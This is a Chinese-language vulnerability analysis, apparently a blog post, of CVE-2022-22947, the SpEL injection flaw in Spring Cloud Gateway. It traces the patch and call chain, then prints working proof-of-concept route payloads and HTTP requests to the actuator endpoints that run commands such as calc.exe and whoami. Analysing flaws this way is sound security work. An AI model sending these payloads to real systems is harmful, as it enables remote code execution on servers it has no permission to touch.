原创 | Spring Cloud GateWay CVE-2022-22947 SPEL RCE

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漏洞简介

Spring Cloud Gateway是Spring Cloud官方推出的第二代网关框架，取代Zuul网关。网关作为流量的，在微服务系统中有着非常作用，网关常见的功能有路由转发、权限校验、限流控制等作用。当启用、暴露和不安全的 Gateway Actuator 端点时，使用 Spring Cloud Gateway 的应用程序容易受到代码注入攻击。远程攻击者可以发出恶意制作的请求，允许在远程主机上进行任意远程执行。

影响版本

• Spring Cloud Gateway

• 3.1.0

• 3.0.0 to 3.0.6

• 旧的不受支持的版本

漏洞分析

Predicate

通过 github 上的 commits 记录，定位到漏洞修补代码 如果想要利用 github 比较两个版本的差异，可以构造链接

https://github.com/spring-cloud/spring-cloud-gateway/compare/v3.1.0...v3.1.1?diff=split

spring-cloud-gateway-server/src/main/java/org/springframework/cloud/gateway/support/ShortcutConfigurable.java#getValue中利用 GatewayEvaluationContext 替换了原本的 StandardEvaluationContext来执行spel 表达式

GatewayEvaluationContext 实际上调用的是 SimpleEvaluationContext方法

StandardEvaluationContext 和 SimpleEvaluationContext都是执行 Spring 的 SpEL 表达式的接口。

SpEL 提供的两个 EvaluationContext ，区别如下：

• SimpleEvaluationContext

  -针对不需要 SpEL 语言语法的全部范围并且应该受到有意限制的表达式类别，公开 SpEL 语言特性和配置选项的子集。

• StandardEvaluationContext

  - 公开全套 SpEL 语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。

SimpleEvaluationContext 旨在仅支持 SpEL 语言语法的一个子集。它不包括 Java类型引用、构造函数 和 bean引用。所以说指定正确 EvaluationContext ，是防止SpEl表达式注入漏洞产生的首选。

因为采用 StandardEvaluationContext 而产生的 SpEL 注入 也存在历史漏洞 CVE-2018-1273 

对 SpEL 的深入了解可以查看这篇文章 SpEL injection

我们下载 3.1.0 的代码 进行分析，定位到漏洞触发点

org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue

可以看到判断 rawValue 的值不为空且以 #{ 为开头 } 为结尾时，会进入到不安全的 SpEL 解析方法。

寻找调用 getValue 的位置，四处均在 ShortcutConfigurable 的接口类中的 枚举类ShortcutType 中

枚举类ShortcutType 的三个枚举值中重写了 normalize方法

org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType#normalize

全局搜索 ShortcutType找出其中调用 normalize 方法

org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#normalizeProperties

通过分析代码可知 normalizeProperties 中所对应的 this.properties 就对应着最终 SpEL 表达式中的内容

normalizeProperties 是对 filter 的属性进行解析，会将 filter 的配置属性传入 normalize 中，最后进入 getValue 执行 SpEL 表达式造成 SpEL 表达式注入。

向上寻找 normalizeProperties 的调用

org.springframework.cloud.gateway.support.ConfigurationService.AbstractBuilder#bind

org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#lookup

properties 的值由 predicate.getArgs()赋予

org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#combinePredicates

最后的触发与路由对应的 Predicate 有关，spring cloud gateway 通过谓词（Predicate）来匹配来自用户的请求，不同的谓词对应着不同的效果。

我们在配置文件中添加对应的 SpEL 表达式就可以触发漏洞

但是通过修改配置文件能叫 RCE 吗

所以还是要正向分析，spring-cloud-gateway 可以通过 Actuator API 在网关中创建和删除路由

{
  "id": "first_route",
  "predicates": [{
    "name": "Path",
    "args": {"_genkey_0":"#{T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")}"}
  }],
  "filters": [],
  "uri": "https://www.uri-destination.org",
  "order": 0
}

添加路由信息完成后，还需要进行刷新

http://127.0.0.1:8080/actuator/gateway/refresh

回显方法

{
  "id": "first_route",
  "predicates": [{
    "name": "Path",
    "args": {"_genkey_0":"#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"}
  }],
  "filters": [],
  "uri": "https://www.uri-destination.org",
  "order": 0
}

Filters

在另一条链路中发现，通过路由对应的 Filters 也是可以触发漏洞org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#loadGatewayFilters

org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#getFilters

所以通过构造这样的 poc 也是可以的

{"id":"first_route",
"predicates": [],"filters":[
    {
        "name":"RewritePath",
        "args":{
                "test":"#{T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")}"
    }
    }
],
  "uri": "https://www.uri-destination.org",
  "order": 0
}

详细分析一下为什么需要如此构造

org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint#save

添加路由时会调用 

validateRouteDefinitionorg.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint#validateRouteDefinition

org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint#isAvailable(org.springframework.cloud.gateway.filter.FilterDefinition)

会判断 Filters 对应的 name 是否存在

• anyMatch：判断的条件里，任意一个元素成功，返回true
• allMatch：判断条件里的元素，所有的都是，返回true

• noneMatch：与allMatch相反，判断条件里的元素，所有的都不是，返回true

for(int i=0;i<this.GatewayFilters.size();i++){     System.out.println(GatewayFilters.get(i).name()); }

name 满足其中的任意一个都是可以的

回显方法

org.springframework.cloud.gateway.filter.factory.AddResponseHeaderGatewayFilterFactory

将配置内容添加到了响应请求头

{
  "id": "test",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

除此之外，这些都是可以的

AddRequestHeader
MapRequestHeader
AddResponseHeader
SetRequestHeader
...

漏洞复现

POST /actuator/gateway/routes/testing HTTP/1.1
Host: 127.0.0.1:8080
Content-Type:application/json
Content-Length: 187


{"id":"testing","filters":[
    {
        "name":"RewritePath",
        "args":{
                "test":"#{T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")}"
    }
    }
]
}

POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:8080
Content-Type:application/json

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